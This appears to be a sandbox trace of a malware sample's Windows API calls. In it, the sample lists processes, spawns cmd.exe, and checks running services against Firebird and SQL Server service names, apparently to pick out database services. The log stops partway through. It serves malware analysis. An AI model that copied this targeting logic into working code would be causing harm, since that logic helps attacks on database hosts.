	[0187.508] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0187.508] lstrlenW (lpString="Memory Compression") returned 18
	[0187.508] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0187.509] lstrlenW (lpString="taskhostw.exe") returned 13
	[0187.509] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0187.509] lstrlenW (lpString="sihost.exe") returned 10
	[0187.509] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.510] lstrlenW (lpString="svchost.exe") returned 11
	[0187.510] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0187.510] lstrlenW (lpString="taskhostw.exe") returned 13
	[0187.510] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0187.511] lstrlenW (lpString="explorer.exe") returned 12
	[0187.511] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0187.511] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0187.511] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0187.512] lstrlenW (lpString="SearchUI.exe") returned 12
	[0187.512] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0187.512] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0187.512] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0187.513] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0187.513] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0187.513] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0187.513] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0187.513] lstrlenW (lpString="dllhost.exe") returned 11
	[0187.513] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0187.514] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0187.514] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf04, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0187.514] lstrlenW (lpString="cmd.exe") returned 7
	[0187.514] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0187.515] lstrlenW (lpString="conhost.exe") returned 11
	[0187.515] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0187.515] CloseHandle (hObject=0x284) returned 1
	[0187.515] Sleep (dwMilliseconds=0x1f4) 
	[0188.266] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x78dd28
	[0188.267] EnumServicesStatusExW (in: hSCManager=0x78dd28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0188.267] GetLastError () returned 0xea
	[0188.267] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1c30) returned 0x3fa07c0
	[0188.267] EnumServicesStatusExW (in: hSCManager=0x78dd28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3fa07c0, cbBufSize=0x1c30, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3fa07c0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0188.268] CloseServiceHandle (hSCObject=0x78dd28) returned 1
	[0188.268] lstrlenW (lpString="Appinfo") returned 7
	[0188.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0188.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0188.269] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0188.269] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0188.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0188.269] lstrlenW (lpString="AppXSvc") returned 7
	[0188.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0188.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0188.269] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0188.269] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0188.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0188.269] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0188.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0188.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0188.269] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0188.269] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0188.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0188.269] lstrlenW (lpString="Audiosrv") returned 8
	[0188.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0188.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0188.269] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0188.269] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0188.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0188.269] lstrlenW (lpString="BFE") returned 3
	[0188.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0188.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0188.269] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0188.270] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0188.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0188.270] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0188.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0188.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0188.270] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0188.270] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0188.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0188.270] lstrlenW (lpString="CDPSvc") returned 6
	[0188.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0188.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0188.270] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0188.270] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0188.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0188.270] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0188.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0188.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0188.270] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0188.270] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0188.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0188.270] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0188.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0188.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0188.270] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0188.270] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0188.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0188.270] lstrlenW (lpString="CryptSvc") returned 8
	[0188.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0188.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0188.271] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0188.271] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0188.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0188.271] lstrlenW (lpString="DcomLaunch") returned 10
	[0188.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0188.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0188.271] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0188.271] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0188.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0188.271] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0188.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0188.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0188.271] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0188.271] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0188.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0188.271] lstrlenW (lpString="Dhcp") returned 4
	[0188.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0188.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0188.271] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0188.271] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0188.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0188.271] lstrlenW (lpString="Dnscache") returned 8
	[0188.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0188.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0188.271] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0188.271] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0188.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0188.272] lstrlenW (lpString="DPS") returned 3
	[0188.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0188.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0188.272] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0188.272] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0188.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0188.272] lstrlenW (lpString="DusmSvc") returned 7
	[0188.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0188.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0188.272] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0188.272] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0188.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0188.272] lstrlenW (lpString="EventLog") returned 8
	[0188.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0188.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0188.272] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0188.272] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0188.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0188.272] lstrlenW (lpString="EventSystem") returned 11
	[0188.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0188.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0188.272] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0188.272] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0188.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0188.272] lstrlenW (lpString="FontCache") returned 9
	[0188.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0188.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0188.273] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0188.273] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0188.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0188.273] lstrlenW (lpString="gpsvc") returned 5
	[0188.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0188.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0188.273] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0188.273] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0188.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0188.273] lstrlenW (lpString="iphlpsvc") returned 8
	[0188.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0188.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0188.273] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0188.273] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0188.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0188.273] lstrlenW (lpString="KeyIso") returned 6
	[0188.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0188.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0188.273] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0188.273] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0188.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0188.273] lstrlenW (lpString="LanmanServer") returned 12
	[0188.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0188.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0188.273] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0188.273] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0188.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0188.273] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0188.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0188.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0188.274] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0188.274] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0188.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0188.274] lstrlenW (lpString="lfsvc") returned 5
	[0188.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0188.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0188.274] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0188.274] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0188.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0188.274] lstrlenW (lpString="lmhosts") returned 7
	[0188.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0188.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0188.274] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0188.274] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0188.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0188.274] lstrlenW (lpString="LSM") returned 3
	[0188.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0188.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0188.274] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0188.274] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0188.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0188.274] lstrlenW (lpString="MpsSvc") returned 6
	[0188.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0188.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0188.274] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0188.274] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0188.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0188.275] lstrlenW (lpString="NcbService") returned 10
	[0188.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0188.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0188.275] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0188.275] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0188.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0188.275] lstrlenW (lpString="netprofm") returned 8
	[0188.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0188.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0188.275] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0188.275] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0188.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0188.275] lstrlenW (lpString="NgcSvc") returned 6
	[0188.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0188.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0188.275] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0188.275] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0188.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0188.275] lstrlenW (lpString="NlaSvc") returned 6
	[0188.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0188.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0188.275] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0188.275] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0188.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0188.275] lstrlenW (lpString="nsi") returned 3
	[0188.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0188.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0188.276] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0188.276] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0188.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0188.276] lstrlenW (lpString="PcaSvc") returned 6
	[0188.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0188.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0188.276] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0188.276] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0188.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0188.276] lstrlenW (lpString="PlugPlay") returned 8
	[0188.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0188.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0188.276] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0188.276] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0188.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0188.276] lstrlenW (lpString="Power") returned 5
	[0188.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0188.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0188.276] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0188.276] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0188.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0188.276] lstrlenW (lpString="ProfSvc") returned 7
	[0188.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0188.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0188.276] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0188.276] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0188.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0188.277] lstrlenW (lpString="RpcEptMapper") returned 12
	[0188.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0188.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0188.277] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0188.492] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0188.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0188.492] lstrlenW (lpString="RpcSs") returned 5
	[0188.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0188.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0188.492] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0188.492] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0188.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0188.492] lstrlenW (lpString="SamSs") returned 5
	[0188.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
